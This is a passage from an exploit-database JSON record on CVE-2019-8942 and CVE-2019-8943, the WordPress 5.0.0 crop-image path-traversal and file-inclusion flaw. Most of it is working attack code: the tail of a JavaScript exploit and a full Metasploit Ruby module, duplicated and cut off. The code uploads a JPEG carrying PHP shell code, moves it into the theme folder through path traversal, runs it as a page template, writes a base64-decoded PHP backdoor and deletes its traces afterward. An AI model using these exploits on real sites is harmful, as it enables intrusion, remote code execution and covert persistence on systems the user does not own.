token.\");\r\njQuery.get(attachurl, function(data) {\r\n wpnonce = jQuery(data).find('#file-form #_wpnonce').val();\r\n if(wpnonce) {\r\n console.log(\"Success! wpnonce: \" + wpnonce);\r\n var postdata = new FormData();\r\n postdata.append('name', 'ebaldremal.jpg');\r\n postdata.append('post_id', post_id);\r\n postdata.append('_wpnonce', wpnonce);\r\n postdata.append('short', 1);\r\n // file\r\n var phpimage = new File([byteArray], 'ebaldremal.jpg');\r\n postdata.append('async-upload', phpimage);\r\n console.log(\"Upload image with shell.\");\r\n jQuery.ajax({\r\n url: uploadurl,\r\n data: postdata,\r\n cache: false,\r\n contentType: false,\r\n processData: false,\r\n method: 'POST',\r\n success: function(data){\r\n if(jQuery.isNumeric(data)) {\r\n post_id = data;\r\n console.log(\"Success! Attach ID: \" + post_id);\r\n console.log(\"Get wpnonce for edit post, ajax_nonce for crop and URL for fun.\");\r\n jQuery.get(editattachurl.replace('PID', post_id), function(data) {\r\n var btnid = \"#imgedit-open-btn-\" + post_id;\r\n wpnonce = jQuery(data).find('#post #_wpnonce').val();\r\n ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0];\r\n imgurl = new URL(jQuery(data).find('#attachment_url').val());\r\n wp_attached_file = imgurl.pathname.match(/uploads\\/(.*)/)[1] + \"?/any\";\r\n console.log(\"Success! wpnonce: \" + wpnonce + \", ajaxnonce: \" + ajaxnonce);\r\n if(wpnonce && ajaxnonce) {\r\n console.log(\"Update _wp_attached_file meta key to: \" + wp_attached_file);\r\n postdata = {\r\n '_wpnonce': wpnonce,\r\n 'action': 'editpost',\r\n 'post_ID': post_id,\r\n 'meta_input[_wp_attached_file]': wp_attached_file\r\n }\r\n jQuery.post(editposturl, postdata, function(data){\r\n console.log(\"Success!\");\r\n console.log(\"Crop image for create help folder.\");\r\n postajaxdata = {\r\n '_ajax_nonce': ajaxnonce,\r\n 'action': 'crop-image',\r\n 'id': post_id,\r\n 'cropDetails[width]': 1,\r\n 'cropDetails[height]': 1\r\n }\r\n jQuery.post(cropurl, postajaxdata, function(data){\r\n console.log(\"Success! Help directory created.\");\r\n wp_attached_file = imgurl.pathname.match(/uploads\\/(.*)/)[1] + \"?/../../../../themes/twentynineteen/owned\";\r\n console.log(\"Update _wp_attached_file meta key to: \" + wp_attached_file);\r\n postdata = {\r\n '_wpnonce': wpnonce,\r\n 'action': 'editpost',\r\n 'post_ID': post_id,\r\n 'meta_input[_wp_attached_file]': wp_attached_file\r\n }\r\n jQuery.post(editposturl, postdata, function(data){\r\n console.log(\"Success!\");\r\n console.log(\"Crop image for create evil jpg image inside twentynineteen theme folder.\");\r\n jQuery.post(cropurl, postajaxdata, function(data){\r\n console.log(\"Success!\");\r\n console.log(\"Get wpnonce for create new post.\");\r\n jQuery.get(addposturl, function(data){\r\n console.log(\"Create new post and use evil jpg image as template.\");\r\n if(jQuery(data).find('form.metabox-base-form').length) {\r\n wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val();\r\n post_id = jQuery(data).find('form.metabox-base-form #post_ID').val();\r\n } else {\r\n wpnonce = jQuery(data).find('#post #_wpnonce').val();\r\n post_id = jQuery(data).find('#post #post_ID').val();\r\n }\r\n postdata = {\r\n '_wpnonce': wpnonce,\r\n 'action': 'editpost',\r\n 'post_ID': post_id,\r\n 'post_title': 'RCE-HERE',\r\n 'visibility': 'public',\r\n 'publish': 'Publish',\r\n 'meta_input[_wp_page_template]': 'cropped-owned.jpg'\r\n }\r\n jQuery.post(editposturl, postdata, function(data){\r\n console.log(\"Success! Browse post with id = \" + post_id + \" to trigger RCE.\")\r\n console.log(\"Trying to open: \" + imgurl.origin + \"/?p=\" + post_id + \")\");\r\n window.open(imgurl.origin + \"/?p=\" + post_id, '_blank');\r\n });\r\n });\r\n });\r\n });\r\n });\r\n });\r\n }\r\n });\r\n }\r\n }\r\n });\r\n }\r\n});\n\n# 0day.today [2019-03-09] #", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://0day.today/exploit/32325"}, {"lastseen": "2019-04-06T13:35:45", "description": "This Metasploit module exploits a path traversal and a local file inclusion vulnerability on WordPress versions 5.0.0 and versions below or equal to 4.9.8. The crop-image function allows a user, with at least author privileges, to resize an image and perform a path traversal by changing the _wp_attached_file reference during the upload. The second part of the exploit will include this image in the current theme by changing the _wp_page_template attribute when creating a post. This exploit module only works for Unix-based systems currently.", "edition": 1, "published": "2019-04-05T00:00:00", "title": "WordPress 5.0.0 crop-image Shell Upload Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-8943", "CVE-2019-8942"], "modified": "2019-04-05T00:00:00", "id": "1337DAY-ID-32493", "href": "https://0day.today/exploit/description/32493", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::FileDropper\r\n include Msf::Exploit::Remote::HTTP::Wordpress\r\n\r\n def initialize(info = {})\r\n super(update_info(\r\n info,\r\n 'Name' => 'WordPress Crop-image Shell Upload',\r\n 'Description' => %q{\r\n This module exploits a path traversal and a local file inclusion\r\n vulnerability on WordPress versions 5.0.0 and <= 4.9.8.\r\n The crop-image function allows a user, with at least author privileges,\r\n to resize an image and perform a path traversal by changing the _wp_attached_file\r\n reference during the upload. The second part of the exploit will include\r\n this image in the current theme by changing the _wp_page_template attribute\r\n when creating a post.\r\n\r\n This exploit module only works for Unix-based systems currently.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'RIPSTECH Technology', # Discovery\r\n 'Wilfried Becard <[email\u00a0protected]>' # Metasploit module\r\n ],\r\n 'References' =>\r\n [\r\n [ 'CVE', '2019-8942' ],\r\n [ 'CVE', '2019-8943' ],\r\n [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/']\r\n ],\r\n 'DisclosureDate' => 'Feb 19 2019',\r\n 'Platform' => 'php',\r\n 'Arch' => ARCH_PHP,\r\n 'Targets' => [['WordPress', {}]],\r\n 'DefaultTarget' => 0\r\n ))\r\n\r\n register_options(\r\n [\r\n OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),\r\n OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])\r\n ])\r\n end\r\n\r\n def check\r\n cookie = wordpress_login(username, password)\r\n if cookie.nil?\r\n store_valid_credential(user: username, private: password, proof: cookie)\r\n return CheckCode::Safe\r\n end\r\n\r\n CheckCode::Appears\r\n end\r\n\r\n def username\r\n datastore['USERNAME']\r\n end\r\n\r\n def password\r\n datastore['PASSWORD']\r\n end\r\n\r\n def get_wpnonce(cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri,\r\n 'cookie' => cookie\r\n )\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n res.get_hidden_inputs.first[\"_wpnonce\"]\r\n end\r\n end\r\n\r\n def get_wpnonce2(image_id, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'post' => image_id,\r\n 'action' => \"edit\"\r\n }\r\n )\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n tmp = res.get_hidden_inputs\r\n wpnonce2 = tmp[1].first[1]\r\n end\r\n end\r\n\r\n def get_current_theme\r\n uri = normalize_uri(datastore['TARGETURI'])\r\n res = send_request_cgi!(\r\n 'method' => 'GET',\r\n 'uri' => uri\r\n )\r\n fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?\r\n\r\n theme = res.body.scan(/\\/wp-content\\/themes\\/(\\w+)\\//).flatten.first\r\n fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme\r\n\r\n theme\r\n end\r\n\r\n def get_ajaxnonce(cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'action' => 'query-attachments',\r\n 'post_id' => '0',\r\n 'query[item]' => '43',\r\n 'query[orderby]' => 'date',\r\n 'query[order]' => 'DESC',\r\n 'query[posts_per_page]' => '40',\r\n 'query[paged]' => '1'\r\n }\r\n )\r\n fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?\r\n a_nonce = res.body.scan(/\"edit\":\"(\\w+)\"/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce\r\n\r\n a_nonce\r\n end\r\n\r\n def upload_file(img_name, wp_nonce, cookie)\r\n img_data = %w[\r\n FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F\r\n 74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00\r\n 10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00\r\n 3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69\r\n 6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D\r\n 20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09\r\n 08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D\r\n 27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06\r\n 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24\r\n 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24\r\n 24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF\r\n C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06\r\n 07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01\r\n 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1\r\n 15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38\r\n 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73\r\n 74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4\r\n A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4\r\n D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF\r\n C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06\r\n 07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00\r\n 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09\r\n 23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37\r\n 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A\r\n 73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2\r\n A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2\r\n D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF\r\n DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B\r\n 3F 3E\r\n ]\r\n img_data = [img_data.join].pack('H*')\r\n img_name += '.jpg'\r\n\r\n boundary = \"#{rand_text_alphanumeric(rand(10) + 5)}\"\r\n post_data = \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"name\\\"\\r\\n\"\r\n post_data << \"\\r\\n#{img_name}\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"action\\\"\\r\\n\"\r\n post_data << \"\\r\\nupload-attachment\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"_wpnonce\\\"\\r\\n\"\r\n post_data << \"\\r\\n#{wp_nonce}\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"async-upload\\\"; filename=\\\"#{img_name}\\\"\\r\\n\"\r\n post_data << \"Content-Type: image/jpeg\\r\\n\"\r\n post_data << \"\\r\\n#{img_data}\\r\\n\"\r\n post_data << \"--#{boundary}--\\r\\n\"\r\n print_status(\"Uploading payload\")\r\n upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php')\r\n\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => upload_uri,\r\n 'ctype' => \"multipart/form-data; boundary=#{boundary}\",\r\n 'data' => post_data,\r\n 'cookie' => cookie\r\n )\r\n fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty?\r\n print_good(\"Image uploaded\")\r\n res = JSON.parse(res.body)\r\n image_id = res[\"data\"][\"id\"]\r\n update_nonce = res[\"data\"][\"nonces\"][\"update\"]\r\n filename = res[\"data\"][\"filename\"]\r\n return filename, image_id, update_nonce\r\n end\r\n\r\n def image_editor(img_name, ajax_nonce, image_id, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'action' => 'image-editor',\r\n '_ajax_nonce' => ajax_nonce,\r\n 'postid' => image_id,\r\n 'history' => '[{\"c\":{\"x\":0,\"y\":0,\"w\":400,\"h\":300}}]',\r\n 'target' => 'all',\r\n 'context' => '',\r\n 'do' => 'save'\r\n }\r\n )\r\n fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty?\r\n filename = res.body.scan(/(#{img_name}-\\S+)-/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename\r\n\r\n filename << '.jpg'\r\n end\r\n\r\n def change_path(wpnonce2, image_id, filename, current_date, path, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n '_wpnonce' => wpnonce2,\r\n 'action' => 'editpost',\r\n 'post_ID' => image_id,\r\n 'meta_input[_wp_attached_file]' => \"#{current_date}#{filename}#{path}\"\r\n }\r\n )\r\n end\r\n\r\n def crop_image(image_id, ajax_nonce, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'action' => 'crop-image',\r\n '_ajax_nonce' => ajax_nonce,\r\n 'id' => image_id,\r\n 'cropDetails[x1]' => 0,\r\n 'cropDetails[y1]' => 0,\r\n 'cropDetails[width]' => 400,\r\n 'cropDetails[height]' => 300,\r\n 'cropDetails[dst_width]' => 400,\r\n 'cropDetails[dst_height]' => 300\r\n }\r\n )\r\n end\r\n\r\n def include_theme(shell_name, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie\r\n )\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n wpnonce2 = res.body.scan(/name=\"_wpnonce\" value=\"(\\w+)\"/).flatten.first\r\n post_id = res.body.scan(/\"post\":{\"id\":(\\w+),/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id\r\n\r\n post_title = Rex::Text.rand_text_alpha(10)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n '_wpnonce'=> wpnonce2,\r\n 'action' => 'editpost',\r\n 'post_ID' => post_id,\r\n 'post_title' => post_title,\r\n 'post_name' => post_title,\r\n 'meta_input[_wp_page_template]' => \"cropped-#{shell_name}.jpg\"\r\n }\r\n )\r\n fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302\r\n post_id\r\n end\r\n end\r\n\r\n def check_for_base64(cookie, post_id)\r\n uri = normalize_uri(datastore['TARGETURI'])\r\n # Test if base64 is on target\r\n test_string = 'YmFzZTY0c3BvdHRlZAo='\r\n res = send_request_cgi!(\r\n 'method' => 'GET',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'p' => post_id,\r\n '0' => \"echo #{test_string} | base64 -d\"\r\n }\r\n )\r\n fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty?\r\n\r\n fail_with(Failure::NotFound, \"Can't find base64 decode on target\") unless res.body.include?(\"base64spotted\")\r\n # Execute payload with base64 decode\r\n @backdoor = Rex::Text.rand_text_alpha(10)\r\n encoded = Rex::Text.encode_base64(payload.encoded)\r\n res = send_request_cgi!(\r\n 'method' => 'GET',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'p' => post_id,\r\n '0' => \"echo #{encoded} | base64 -d > #{@backdoor}.php\"\r\n }\r\n )\r\n\r\n fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty?\r\n send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(datastore['TARGETURI'], \"#{@backdoor}.php\"),\r\n 'cookie' => cookie\r\n )\r\n end\r\n\r\n def wp_cleanup(shell_name, post_id, cookie)\r\n print_status('Attempting to clean up files...')\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => { 'action' => \"query-attachments\" }\r\n )\r\n\r\n fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty?\r\n infos = res.body.scan(/id\":(\\d+),.*filename\":\"cropped-#{shell_name}\".*?\"delete\":\"(\\w+)\".*\"id\":(\\d+),.*filename\":\"cropped-x\".*?\"delete\":\"(\\w+)\".*\"id\":(\\d+),.*filename\":\"#{shell_name}\".*?\"delete\":\"(\\w+)\"/).flatten\r\n id1, id2, id3 = infos[0], infos[2], infos[4]\r\n delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5]\r\n for i in (0...6).step(2)\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'action' => \"delete-post\",\r\n 'id' => infos[i],\r\n '_wpnonce' => infos[i+1]\r\n }\r\n )\r\n end\r\n\r\n uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php')\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri1,\r\n 'cookie' => cookie\r\n )\r\n\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\\w+)/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce\r\n uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\r\n\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri2,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'post' => post_id,\r\n 'action' => 'trash',\r\n '_wpnonce' => post_nonce\r\n }\r\n )\r\n\r\n fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri1,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'post_status' => \"trash\",\r\n 'post_type' => 'post',\r\n '_wpnonce' => post_nonce\r\n }\r\n )\r\n\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\\w+)/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce\r\n\r\n send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri2,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'post' => post_id,\r\n 'action' => 'delete',\r\n '_wpnonce' => nonce\r\n }\r\n )\r\n end\r\n end\r\n end\r\n\r\n def exploit\r\n fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?\r\n\r\n print_status(\"Authenticating with WordPress using #{username}:#{password}...\")\r\n cookie = wordpress_login(username, password)\r\n fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?\r\n print_good(\"Authenticated with WordPress\")\r\n store_valid_credential(user: username, private: password, proof: cookie)\r\n\r\n print_status(\"Preparing payload...\")\r\n @current_theme = get_current_theme\r\n wp_nonce = get_wpnonce(cookie)\r\n @current_date = Time.now.strftime(\"%Y/%m/\")\r\n\r\n img_name = Rex::Text.rand_text_alpha(10)\r\n @filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie)\r\n ajax_nonce = get_ajaxnonce(cookie)\r\n\r\n @filename1 = image_editor(img_name, ajax_nonce, image_id, cookie)\r\n wpnonce2 = get_wpnonce2(image_id, cookie)\r\n\r\n change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie)\r\n crop_image(image_id, ajax_nonce, cookie)\r\n\r\n @shell_name = Rex::Text.rand_text_alpha(10)\r\n change_path(wpnonce2, image_id, @filename1, @current_date, \"?/../../../../themes/#{@current_theme}/#{@shell_name}\", cookie)\r\n crop_image(image_id, ajax_nonce, cookie)\r\n\r\n print_status(\"Including into theme\")\r\n post_id = include_theme(@shell_name, cookie)\r\n\r\n check_for_base64(cookie, post_id)\r\n wp_cleanup(@shell_name, post_id, cookie)\r\n end\r\n\r\n def on_new_session(client)\r\n client.shell_command_token(\"rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*\")\r\n client.shell_command_token(\"rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*\")\r\n client.shell_command_token(\"rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*\")\r\n client.shell_command_token(\"rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg\")\r\n client.shell_command_token(\"rm #{@backdoor}.php\")\r\n end\r\nend\n\n# 0day.today [2019-04-06] #", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://0day.today/exploit/32493"}], "metasploit": [{"lastseen": "2020-10-13T17:17:04", "description": "This module exploits a path traversal and a local file inclusion vulnerability on WordPress versions 5.0.0 and <= 4.9.8. The crop-image function allows a user, with at least author privileges, to resize an image and perform a path traversal by changing the _wp_attached_file reference during the upload. The second part of the exploit will include this image in the current theme by changing the _wp_page_template attribute when creating a post. This exploit module only works for Unix-based systems currently.\n", "published": "2019-03-22T16:37:04", "type": "metasploit", "title": "WordPress Crop-image Shell Upload", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-8942", "CVE-2019-8943"], "modified": "2020-10-02T20:00:37", "id": "MSF:EXPLOIT/MULTI/HTTP/WP_CROP_RCE", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Remote::HTTP::Wordpress\n\n def initialize(info = {})\n super(update_info(\n info,\n 'Name' => 'WordPress Crop-image Shell Upload',\n 'Description' => %q{\n This module exploits a path traversal and a local file inclusion\n vulnerability on WordPress versions 5.0.0 and <= 4.9.8.\n The crop-image function allows a user, with at least author privileges,\n to resize an image and perform a path traversal by changing the _wp_attached_file\n reference during the upload. The second part of the exploit will include\n this image in the current theme by changing the _wp_page_template attribute\n when creating a post.\n\n This exploit module only works for Unix-based systems currently.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'RIPSTECH Technology', # Discovery\n 'Wilfried Becard <wilfried.becard@synacktiv.com>' # Metasploit module\n ],\n 'References' =>\n [\n [ 'CVE', '2019-8942' ],\n [ 'CVE', '2019-8943' ],\n [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/']\n ],\n 'DisclosureDate' => '2019-02-19',\n 'Platform' => 'php',\n 'Arch' => ARCH_PHP,\n 'Targets' => [['WordPress', {}]],\n 'DefaultTarget' => 0\n ))\n\n register_options(\n [\n OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),\n OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])\n ])\n end\n\n def check\n cookie = wordpress_login(username, password)\n if cookie.nil?\n store_valid_credential(user: username, private: password, proof: cookie)\n return CheckCode::Safe\n end\n\n CheckCode::Appears\n end\n\n def username\n datastore['USERNAME']\n end\n\n def password\n datastore['PASSWORD']\n end\n\n def get_wpnonce(cookie)\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri,\n 'cookie' => cookie\n )\n if res && res.code == 200 && res.body && !res.body.empty?\n res.get_hidden_inputs.first[\"_wpnonce\"]\n end\n end\n\n def get_wpnonce2(image_id, cookie)\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_get' => {\n 'post' => image_id,\n 'action' => \"edit\"\n }\n )\n if res && res.code == 200 && res.body && !res.body.empty?\n tmp = res.get_hidden_inputs\n wpnonce2 = tmp[1].first[1]\n end\n end\n\n def get_current_theme\n uri = normalize_uri(datastore['TARGETURI'])\n res = send_request_cgi!(\n 'method' => 'GET',\n 'uri' => uri\n )\n fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?\n\n theme = res.body.scan(/\\/wp-content\\/themes\\/(\\w+)\\//).flatten.first\n fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme\n\n theme\n end\n\n def get_ajaxnonce(cookie)\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_post' => {\n 'action' => 'query-attachments',\n 'post_id' => '0',\n 'query[item]' => '43',\n 'query[orderby]' => 'date',\n 'query[order]' => 'DESC',\n 'query[posts_per_page]' => '40',\n 'query[paged]' => '1'\n }\n )\n fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?\n a_nonce = res.body.scan(/\"edit\":\"(\\w+)\"/).flatten.first\n fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce\n\n a_nonce\n end\n\n def upload_file(img_name, wp_nonce, cookie)\n img_data = %w[\n FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F\n 74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00\n 10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00\n 3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69\n 6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D\n 20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09\n 08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D\n 27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 